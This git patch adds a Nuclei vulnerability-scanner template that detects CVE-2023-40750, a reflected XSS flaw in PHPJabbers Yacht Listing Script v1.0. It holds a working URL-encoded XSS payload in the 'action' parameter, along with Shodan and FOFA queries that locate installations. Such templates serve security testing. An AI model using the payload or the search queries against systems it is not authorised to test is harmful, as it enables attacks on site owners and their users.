From 2014f89bfa3a356489b804b2d78eed11b34b00a7 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Tue, 22 Oct 2024 13:55:17 +0530 Subject: [PATCH] Create CVE-2023-40750.yaml --- http/cves/2023/CVE-2023-40750.yaml | 48 ++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 http/cves/2023/CVE-2023-40750.yaml diff --git a/http/cves/2023/CVE-2023-40750.yaml b/http/cves/2023/CVE-2023-40750.yaml new file mode 100644 index 0000000000..27deba04a9 --- /dev/null +++ b/http/cves/2023/CVE-2023-40750.yaml @@ -0,0 +1,48 @@ +id: CVE-2023-40750 + +info: + name: PHPJabbers Yacht Listing Script v1.0 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Yacht Listing Script v1.0. + reference: + - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f + - https://nvd.nist.gov/vuln/detail/CVE-2023-40750 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2023-40750 + cwe-id: CWE-79 + cpe: cpe:2.3:a:phpjabbers:yacht_listing_script:1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + shodan-query: html:"PHPJabbers" + fofa-query: body="PHPJabbers" + vendor: phpjabbers + product: yacht_listing_script + tags: cve,cve2023,phpjabbers,yacht-listing,xss + +http: + - method: POST + path: + - "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "didn't exists" + condition: and + + - type: word + part: content_type + words: + - text/html + + - type: status + status: + - 200